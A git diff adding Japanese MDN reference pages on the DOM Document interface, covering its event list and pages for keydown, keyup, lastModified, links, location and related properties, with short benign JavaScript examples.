+ {{domxref("GlobalEventHandlers/onanimationiteration", "onanimationiteration")}} プロパティからも利用できます。
+
{{DOMxRef("Document/animationstart_event", "animationstart")}}
+
アニメーションが始まった時に発行されます。
+ {{domxref("GlobalEventHandlers/onanimationstart", "onanimationstart")}} プロパティからも利用できます。
+
+ +

クリップボードイベント

+ +
+
{{DOMxRef("Document/copy_event", "copy")}}
+
ユーザーがブラウザーのユーザーインターフェイスからコピー操作を開始した時に発行されます。
+ {{domxref("HTMLElement/oncopy", "oncopy")}} プロパティからも利用できます。
+
{{DOMxRef("Document/cut_event", "cut")}}
+
ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を開始したときに発行されます。
+ {{domxref("HTMLElement/oncut", "oncut")}} プロパティからも利用できます。
+
{{DOMxRef("Document/paste_event", "paste")}}
+
ユーザーがブラウザーのユーザーインターフェイスから貼り付け操作を開始したときに発行されます。
+ {{domxref("HTMLElement/onpaste", "onpaste")}} プロパティからも利用できます。
+
+ +

ドラッグ＆ドロップイベント

+ +
+
{{DOMxRef("Document/drag_event", "drag")}}
+
要素またはテキストの選択範囲をユーザーがドラッグしている間、数百ミリ秒ごとに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondrag", "ondrag")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragend_event", "dragend")}}
+
ドラッグ操作が終了したとき (マウスボタンを離したときやエスケープキーを押したとき) に発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragend", "ondragend")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragenter_event", "dragenter")}}
+
ドラッグ中の要素またはテキストの選択範囲が妥当なドロップ対象に入ったときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragenter", "ondragenter")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragexit_event", "dragexit")}}
+
要素がドラッグ操作の直接的な選択対象でなくなったときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragexit", "ondragexit")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragleave_event", "dragleave")}}
+
ドラッグ中の要素またはテキストの選択範囲が妥当なドロップ対象から外れたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragleave", "ondragleave")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragover_event", "dragover")}}
+
要素またはテキストの選択範囲が妥当なドロップ対象の上をドラッグされているときに (数ミリ秒ごとに) 発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragover", "ondragover")}} プロパティからも利用できます。
+
{{DOMxRef("Document/dragstart_event", "dragstart")}}
+
ユーザーが要素またはテキストの選択範囲のドラッグを開始したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondragstart", "ondragstart")}} プロパティからも利用できます。
+
{{DOMxRef("Document/drop_event", "drop")}}
+
要素またはテキストの選択範囲が妥当なドロップ対象にドロップされたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ondrop", "ondrop")}} プロパティからも利用できます。
+
+ +

全画面イベント

+ +
+
{{DOMxRef("Document/fullscreenchange_event", "fullscreenchange")}}
+
Document が全画面モードへ移行したとき、または解除されたときに発行されます。
+ {{DOMxRef("Document.onfullscreenchange", "onfullscreenchange")}} プロパティからも利用できます。
+
{{DOMxRef("Document/fullscreenerror_event", "fullscreenerror")}}
+
全画面モードへ切り替えようとしたとき、または解除しようとしたときにエラーが発生した場合に発行されます。
+ {{DOMxRef("Document.onfullscreenerror", "onfullscreenerror")}} プロパティからも利用できます。
+
+

キーボードイベント

+
+
{{DOMxRef("Document/keydown_event", "keydown")}}
+
キーが押されたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onkeydown", "onkeydown")}} プロパティからも利用できます。
+
{{DOMxRef("Document/keypress_event", "keypress")}}
+
文字値を生成するキーが押下されたときに発行されます。 {{Deprecated_Inline}}
+ {{DOMxRef("GlobalEventHandlers/onkeypress", "onkeypress")}} プロパティからも利用できます。
+
{{DOMxRef("Document/keyup_event", "keyup")}}
+
キーを離したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onkeyup", "onkeyup")}} プロパティからも利用できます。
+
+ +

ロード＆アンロードイベント

+ +
+
{{DOMxRef("Document/DOMContentLoaded_event", "DOMContentLoaded")}}
+
文書が完全に読み込まれて解釈されたときに、スタイルシート、画像、サブフレームの読み込みが完了するのを待たずに発行されます。
+
{{DOMxRef("Document/readystatechange_event", "readystatechange")}}
+
文書の{{DOMxRef("Document/readyState", "readyState")}} 属性が変更されたときに発行されます。 onreadystatechange プロパティからも利用できます。
+
+ +

ポインターイベント

+ +
+
{{DOMxRef("Document/gotpointercapture_event", "gotpointercapture")}}
+
{{domxref("Element/setPointerCapture", "setPointerCapture()")}} を使用して要素がポインターをキャプチャしたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}} プロパティからも利用できます。
+
{{DOMxRef("Document/lostpointercapture_event", "lostpointercapture")}}
+
キャプチャされたポインターが解放されたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointercancel_event", "pointercancel")}}
+
ポインターイベントがキャンセルされたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointercancel", "onpointercancel")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerdown_event", "pointerdown")}}
+
ポインターがアクティブになったときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerdown", "onpointerdown")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerenter_event", "pointerenter")}}
+
ポインターが要素やその子孫のヒットテスト境界の中へ移動したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerenter", "onpointerenter")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerleave_event", "pointerleave")}}
+
ポインターが要素のヒットテスト境界の外へ移動したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerleave", "onpointerleave")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerlockchange_event", "pointerlockchange")}}
+
ポインターがロックまたはアンロックされたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerlockchange", "onpointerlockchange")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerlockerror_event", "pointerlockerror")}}
+
ポインターをロックしようとして失敗したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerlockerror", "onpointerlockerror")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointermove_event", "pointermove")}}
+
ポインターの座標が変化したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointermove", "onpointermove")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerout_event", "pointerout")}}
+
ポインターが (訳あって) 要素のヒットテスト境界の外へ移動したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerout", "onpointerout")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerover_event", "pointerover")}}
+
ポインターが要素のヒットテスト境界の中へ移動したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerover", "onpointerover")}} プロパティからも利用できます。
+
{{DOMxRef("Document/pointerup_event", "pointerup")}}
+
ポインターがアクティブではなくなったときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onpointerup", "onpointerup")}} property.
+
+ +

選択イベント

+ +
+
{{DOMxRef("Document/selectionchange_event", "selectionchange")}}
+
文書でのテキスト選択範囲が変化したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onselectionchange", "onselectionchange")}} プロパティからも利用できます。
+
{{DOMxRef("Document/selectstart_event", "selectstart")}}
+
ユーザーが新しい選択を開始したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/onselectstart", "onselectstart")}} プロパティからも利用できます。
+
+ +

タッチイベント

+ +
+
{{DOMxRef("Document/touchcancel_event", "touchcancel")}}
+
1 つ以上のタッチ点が実装固有の方法で中断された場合に発行されます (例えば、作成されたタッチ点が多すぎた場合など)。
+ {{DOMxRef("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} プロパティからも利用できます。
+
{{DOMxRef("Document/touchend_event", "touchend")}}
+
1つ以上のタッチ点がタッチ面から取り除かれたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontouchend", "ontouchend")}} プロパティからも利用できます。
+
{{DOMxRef("Document/touchmove_event", "touchmove")}}
+
1つ以上のタッチ点がタッチ面に沿って移動したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontouchmove", "ontouchmove")}} プロパティからも利用できます。
+
{{DOMxRef("Document/touchstart_event", "touchstart")}}
+
1つ以上のタッチ点がタッチ面に配置されたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontouchstart", "ontouchstart")}} プロパティからも利用できます。
+
+ +

トランジションイベント

+ +
+
{{DOMxRef("Document/transitioncancel_event", "transitioncancel")}}
+
CSS トランジションがキャンセルされたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontransitioncancel", "ontransitioncancel")}} プロパティからも利用できます。
+
{{DOMxRef("Document/transitionend_event", "transitionend")}}
+
CSS トランジションが完了したときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontransitionend", "ontransitionend")}} プロパティからも利用できます。
+
{{DOMxRef("Document/transitionrun_event", "transitionrun")}}
+
CSS トランジションが初めて作成されたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} プロパティからも利用できます。
+
{{DOMxRef("Document/transitionstart_event", "transitionstart")}}
+
Fired when a CSS トランジションが実際に開始されたときに発行されます。
+ {{DOMxRef("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} プロパティからも利用できます。
+
+ +

標準外の拡張 {{Non-standard_Inline}}

+ +
{{non-standard_header}}
+ +

Firefox のメモ

+ +

Mozilla は、 XUL コンテンツ限定の標準外プロパティを定義しています。

+ +
+
{{DOMxRef("Document.currentScript")}} {{Non-standard_Inline}}
+
現在実行中の {{HTMLElement("script")}} 要素を返します。
+
{{DOMxRef("Document.documentURIObject")}}
+
(Mozilla アドオン限定!) 文書の URI を表す {{Interface("nsIURI")}} オブジェクトを返します。このプロパティは特権付き (UniversalXPConnect 権限) の JavaScript コード内に限り、特別な意味を持ちます。
+
{{DOMxRef("Document.popupNode")}}
+
ポップアップを表示させたノードを返します。
+
{{DOMxRef("Document.tooltipNode")}}
+
現行のツールチップのターゲットであるノードを返します。
+
+ +

Mozilla では、標準外のメソッドも定義しています。

+ +
+
{{DOMxRef("Document.execCommandShowHelp()")}}{{Obsolete_Inline("Gecko14")}}
+
このメソッドは何も行わずに例外が発生することから、 Gecko 14.0 {{geckoRelease("14.0")}} で削除しました。
+
{{DOMxRef("Document.getBoxObjectFor()")}} {{Obsolete_Inline}}
+
代わりに {{DOMxRef("Element.getBoundingClientRect()")}} メソッドを使用してください。
+
{{DOMxRef("Document.loadOverlay()")}}{{Obsolete_Inline("Gecko61")}}
+
XUL overlay を動的に読み込みます。これは XUL 文書のみで動作します。
+
{{DOMxRef("Document.queryCommandText()")}}{{Obsolete_Inline("Gecko14")}}
+
このメソッドは何も行わずに例外が発生することから、Gecko 14.0 {{geckoRelease("14.0")}} で削除しました。
+
+ +

Internet Explorer の注意

+ +

Microsoft は、標準外のプロパティを定義しています。

+ +
+
{{DOMxRef("Document.fileSize")}}* {{Non-standard_Inline}} {{Obsolete_Inline}}
+
文書の長さをバイト単位で返します。 Internet Explorer 11 より、このプロパティには対応していません。MSDN をご覧ください。
+
+ +

Internet Explorer は、 Node インターフェイス由来のメソッドをすべて Document インターフェイスで対応しているわけではありません。

+ +
+
{{DOMxRef("Document.contains")}}
+
回避策として、document.body.contains() を使用できます。
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#interface-document", "Document")}}{{Spec2("DOM WHATWG")}}DOM 3 の後継になる予定
{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}{{Spec2("HTML WHATWG")}}{{DOMxRef("HTMLDocument")}} インターフェイスを Document の拡張に変更
{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM View")}}Document インターフェイスを拡張
{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Pointer Lock")}}Document インターフェイスを拡張
{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Page Visibility API")}}Document インターフェイスを拡張し、 visibilityState および hidden 属性と onvisibilitychange イベントリスナーを追加
{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}{{Spec2("Selection API")}}getSelection(), onselectstart, onselectionchange を追加
{{SpecName("DOM4", "#interface-document", "Document")}}{{Spec2("DOM4")}}DOM 3 の後継
{{SpecName("DOM3 Core", "#i-Document", "Document")}}{{Spec2("DOM3 Core")}}DOM 2 の後継
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}document を拡張する {{DOMxRef("XPathEvaluator")}} インターフェイスを定義
{{SpecName("DOM2 Core", "#i-Document", "Document")}}{{Spec2("DOM2 Core")}}DOM 1 の後継
{{SpecName("DOM1", "#i-Document", "Document")}}{{Spec2("DOM1")}}インターフェイスの初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document")}}

diff --git a/files/ja/web/api/document/inputencoding/index.html b/files/ja/web/api/document/inputencoding/index.html new file mode 100644 index 0000000000..eec76a174f --- /dev/null +++ b/files/ja/web/api/document/inputencoding/index.html @@ -0,0 +1,25 @@ +--- +title: document.inputEncoding +slug: Web/API/Document/inputEncoding +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/characterSet +--- +

{{ApiRef}} {{deprecated_header}}

+

概要

+

文書パース時のエンコーディングを表す文字列（※ ISO-8859-1 等）を返します。

+
+ 注記: このメソッドは DOM 4 仕様書ドラフトから削除されており、Gecko の実装からも削除される可能性があります。使用しないようにしてください。
+

構文

+
encoding = document.inputEncoding;
+ +

仕様書

+ diff --git a/files/ja/web/api/document/keydown_event/index.html b/files/ja/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..2ad42a2bad --- /dev/null +++ b/files/ja/web/api/document/keydown_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Document: keydown イベント' +slug: Web/API/Document/keydown_event +tags: + - API + - DOM + - Document + - Event + - KeyboardEvent + - Reference + - keydown +translation_of: Web/API/Document/keydown_event +--- +
{{APIRef}}
+ +

keydown イベントは、キーが押されたときに発生します。

+ +

{{domxref("Document/keypress_event", "keypress")}} イベントとは異なり、 keydown イベントはすべてのキーにおいて、文字が入力されるかどうかにかかわらず発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("KeyboardEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}
+ +

keydown および {{domxref("Document/keyup_event", "keyup")}} イベントが、どのキーが押されたのかを示すコードを提供するのに対し、 {{domxref("Document/keypress_event", "keypress")}} はどの文字が入力されたかを示します。例えば、小文字の "a" は keydown および keyup では65になるのに対し、 keypress では97になります。大文字の "A" はどのイベントでも65と報告されます。

+ +

Firefox 65 から、 keydown および {{domxref("Document/keyup_event", "keyup")}} イベントは IME 入力中でも発生するようになり、 CJKT のユーザーのブラウザー間の互換性が向上しました ({{bug(354358)}}、またもっと有益な詳細は keydown and keyup events are now fired during IME composition を参照)。 IME 入力中のすべての keydown イベントを無視するには、次のようにします (229 は IME によって処理されたイベントに関連する keyCode の特殊な値のセットです)。

+ +
eventTarget.addEventListener("keydown", event => {
+  if (event.isComposing || event.keyCode === 229) {
+    return;
+  }
+  // 何かをする
+});
+
+ +

例

+ +

addEventListener keydown の例

+ +

この例はキーを押すたびに {{domxref("KeyboardEvent.code")}} の値をログ出力します。

+ +
<p>Focus the IFrame first (e.g. by clicking in it), then try pressing some keys.</p>
+<p id="log"></p>
+ +
document.addEventListener('keydown', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keydown_example")}}

+ +

onkeydown equivalent

+ +
document.onkeydown = logKey;
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('UI Events', '#event-type-keydown')}}{{Spec2('UI Events')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.keydown_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/keyup_event/index.html b/files/ja/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..334d00f0bd --- /dev/null +++ b/files/ja/web/api/document/keyup_event/index.html @@ -0,0 +1,107 @@ +--- +title: 'Document: keyup イベント' +slug: Web/API/Document/keyup_event +tags: + - DOM + - Document + - Event + - KeyboardEvent + - Reference + - keyup + - イベント +translation_of: Web/API/Document/keyup_event +--- +
{{APIRef}}
+ +

keyup イベントは、キーが離されたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可
インターフェイス{{domxref("KeyboardEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

{{domxref("Document/keydown_event", "keydown")}} および keyup イベントが、どのキーが押されたのかを示すコードを提供するのに対し、 {{domxref("Document/keypress_event", "keypress")}} はどの文字が入力されたかを示します。例えば、小文字の "a" は keydown および keyup では65になるのに対し、 keypress では97になります。大文字の "A" はどのイベントでも65と報告されます。

+ +
+

注: 入力値の変更に反応する方法を探しているのであれば、 input イベントを使用してください。 keyup では、テキスト入力のコンテキストニューからテキストを貼り付けた場合など、一部の変更が検出されません。

+
+ +

Firefox 65 から、 {{domxref("Document/keydown_event", "keydown")}} および keyup イベントは IME 入力中でも発生するようになり、 CJKT のユーザーのブラウザー間の互換性が向上しました ({{bug(354358)}}、またもっと有益な詳細は keydown and keyup events are now fired during IME composition を参照)。 IME 入力中のすべての keyup イベントを無視するには、次のようにします (229 は IME によって処理されたイベントに関連する keyCode の特殊な値のセットです)。

+ +
eventTarget.addEventListener("keyup", event => {
+  if (event.isComposing || event.keyCode === 229) {
+    return;
+  }
+  // 何かをする
+});
+
+ +

例

+ +

この例はキーを離すたびに {{domxref("KeyboardEvent.code")}} の値をログ出力します。

+ +

addEventListener の keyup の例

+ +
<p>Focus the IFrame first (e.g. by clicking in it), then try pressing some keys.</p>
+<p id="log"></p>
+ +
const log = document.getElementById('log');
+
+document.addEventListener('keyup', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keyup_example")}}

+ +

onkeyup を用いた同等のもの

+ +
document.onkeyup = logKey;
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName("UI Events", "#event-type-keyup")}}{{Spec2("UI Events")}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.keyup_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/lastmodified/index.html b/files/ja/web/api/document/lastmodified/index.html new file mode 100644 index 0000000000..2be565e696 --- /dev/null +++ b/files/ja/web/api/document/lastmodified/index.html @@ -0,0 +1,96 @@ +--- +title: Document.lastModified +slug: Web/API/Document/lastModified +tags: + - API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/lastModified +--- +
{{APIRef("DOM")}}
+ +

lastModified は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。

+ +

構文

+ +
var string = document.lastModified;
+
+ +

例

+ +

単純な使用

+ +

この例では lastModified の値をアラート表示します。

+ +
alert(document.lastModified);
+// 表示内容: Tuesday, December 16, 2017 11:09:42
+
+ +

lastModified を Date オブジェクトへ変換

+ +

この例では、 lastModified を {{jsxref("Date")}} オブジェクトに変換します。object.

+ +
let oLastModif = new Date(document.lastModified);
+
+ +

lastModified をミリ秒に変換

+ +

この例では、 lastModified を地方時の1970年1月1日 00:00:00からの経過ミリ秒数の数値に変換します。

+ +
let nLastModif = Date.parse(document.lastModified);
+
+ +

注

+ +

lastModified は文字列なので、文書の更新日の比較には簡単には使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です (JavaScript cookies API も参照)。

+ +
if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) {
+  document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
+  alert("ページが変更されました。");
+}
+ +

…同じ例ですが、最初の訪問をスキップします。

+ +
var
+  nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")),
+  nLastModif = Date.parse(document.lastModified);
+
+if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+  document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
+
+  if (isFinite(nLastVisit)) {
+    alert("ページが変更されました。");
+  }
+}
+ +
注: WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time)
+ +

もし外部のページが変更されたかどうかを知りたい場合は、 XMLHttpRequest() API についてのこの段落をお読みください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}}{{Spec2('HTML WHATWG')}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.lastModified")}}
diff --git a/files/ja/web/api/document/laststylesheetset/index.html b/files/ja/web/api/document/laststylesheetset/index.html new file mode 100644 index 0000000000..b153b3a508 --- /dev/null +++ b/files/ja/web/api/document/laststylesheetset/index.html @@ -0,0 +1,53 @@ +--- +title: Document.lastStyleSheetSet +slug: Web/API/Document/lastStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Document + - Property + - Reference + - Stylesheets + - lastStyleSheetSet +translation_of: Web/API/Document/lastStyleSheetSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

Document.lastStyleSheetSet プロパティは、最後に有効化されたスタイルシートセットを返します。このプロパティの値は {{domxref("document.selectedStyleSheetSet")}} プロパティが変化するたびに変化します。

+ +

構文

+ +
var lastStyleSheetSet = document.lastStyleSheetSet
+
+ +

返値である lastStyleSheetSet は、最も新しく設定されたスタイルシートセットを示します。現在のスタイルシートセットが {{domxref("document.selectedStyleSheetSet")}} を設定することで変更されたものでない場合、返値は null になります。

+ +
注: この値は {{domxref("document.enableStyleSheetsForSet()")}} が呼び出された時に変化しません。
+ +

例

+ +
let lastSheetSet = document.lastStyleSheetSet;
+
+if (!lastSheetSet) {
+  lastSheetSet = 'Style sheet not yet changed';
+}
+else {
+  console.log('The last style sheet set is: ' + lastSheetSet);
+}
+
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.lastStyleSheetSet")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/linkcolor/index.html b/files/ja/web/api/document/linkcolor/index.html new file mode 100644 index 0000000000..7160606924 --- /dev/null +++ b/files/ja/web/api/document/linkcolor/index.html @@ -0,0 +1,56 @@ +--- +title: Document.linkColor +slug: Web/API/Document/linkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/linkColor +--- +
{{APIRef("DOM")}} {{Deprecated_header}}
+ +

Document.linkColor プロパティは、文書内のリンクの色を取得または設定します。

+ +

このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に document.body.link がありますが、これは HTML 4.01 で非推奨になりました。

+ +

構文

+ +
color = document.linkColor
+document.linkColor = color
+
+ +

引数

+ + + +

例

+ +
document.linkColor = 'blue';
+
+ +

仕様書

+ +

HTML5

+ +

Document.linkColor は DOM Level 2 HTML で非推奨になりました。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.linkColor")}}

+ +

Mozilla Firefox におけるこのプロパティの既定値は、青 (16進数で #0000ee) です。

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/links/index.html b/files/ja/web/api/document/links/index.html new file mode 100644 index 0000000000..6394b176a6 --- /dev/null +++ b/files/ja/web/api/document/links/index.html @@ -0,0 +1,31 @@ +--- +title: document.links +slug: Web/API/Document/links +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/links +--- +
+ {{ApiRef}}
+

概要

+

links プロパティは、文書中の、 href 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。

+

構文

+
nodeList = document.links;
+
+

例

+
var links = document.links;
+
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+

仕様書

+ diff --git a/files/ja/web/api/document/location/index.html b/files/ja/web/api/document/location/index.html new file mode 100644 index 0000000000..07129f1740 --- /dev/null +++ b/files/ja/web/api/document/location/index.html @@ -0,0 +1,73 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/location +--- +

{{APIRef("DOM")}}

+ +

Document.location は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。

+ +

Document.location は読み取り専用の Location オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 document.location = 'http://www.example.com' は document.location.href = 'http://www.example.com' の別名です。

+ +

URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。

+ +

現在の文書が閲覧コンテキスト内にない場合、返値は null となります。

+ +

構文

+ +

s

+ +
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+
+ +

例

+ +
console.log(document.location);
+// Location オブジェクトをコンソールへ表示
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5 W3C")}} から変更なし
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.location")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/lostpointercapture_event/index.html b/files/ja/web/api/document/lostpointercapture_event/index.html new file mode 100644 index 0000000000..ebe77da638 --- /dev/null +++ b/files/ja/web/api/document/lostpointercapture_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Document: lostpointercapture イベント' +slug: Web/API/Document/lostpointercapture_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - lostpointercapture + - イベント +translation_of: Web/API/Document/lostpointercapture_event +--- +
{{APIRef}}
+ +

lostpointercapture イベントは、ポインターのキャプチャが解放されたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}}
+ +

例

+ +

この例は lostpointercapture イベントを待ち受けし、 pointerdown でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 lostpointercapture イベントが発生します。

+ +
const para = document.querySelector('p');
+
+document.addEventListener('lostpointercapture', () => {
+  console.log('I\'ve been released!')
+});
+
+para.addEventListener('pointerdown', (event) => {
+  para.setPointerCapture(event.pointerId);
+});
+
+ +

同じ例ですが、 onlostpointercapture イベントハンドラーを使用して行います。

+ +
const para = document.querySelector('p');
+
+document.onlostpointercapture = () => {
+  console.log('I\'ve been released!')
+};
+
+para.addEventListener('pointerdown', (event) => {
+  para.setPointerCapture(event.pointerId);
+});
+
+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName('Pointer Events', '#the-lostpointercapture-event')}}{{Spec2('Pointer Events')}}
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.lostpointercapture_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/onafterscriptexecute/index.html b/files/ja/web/api/document/onafterscriptexecute/index.html new file mode 100644 index 0000000000..7440dd0044 --- /dev/null +++ b/files/ja/web/api/document/onafterscriptexecute/index.html @@ -0,0 +1,52 @@ +--- +title: Document.onafterscriptexecute +slug: Web/API/Document/onafterscriptexecute +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/onafterscriptexecute +--- +
{{ApiRef("DOM")}}{{non-standard_header}}
+ +

Document.onafterscriptexecute プロパティは、静的な {{HTMLElement("script")}} 要素のスクリプトの実行が終了したときに呼び出される関数を参照します。要素が {{domxref("Node.appendChild()", "appendChild()")}} などで動的に追加された場合には呼び出されません。

+ +

構文

+ +
document.onafterscriptexecute = funcRef;
+
+ +

funcRef は関数の参照で、イベントが発行されると呼び出されます。イベントの target 属性が、実行が完了した {{HTMLElement("script")}} 要素に設定されます。

+ +

例

+ +
function finished(e) {
+  logMessage(`Finished script with ID: ${e.target.id}`);
+}
+
+document.addEventListener('afterscriptexecute', finished, true);
+
+ +

ライブ例を表示

+ +

仕様書

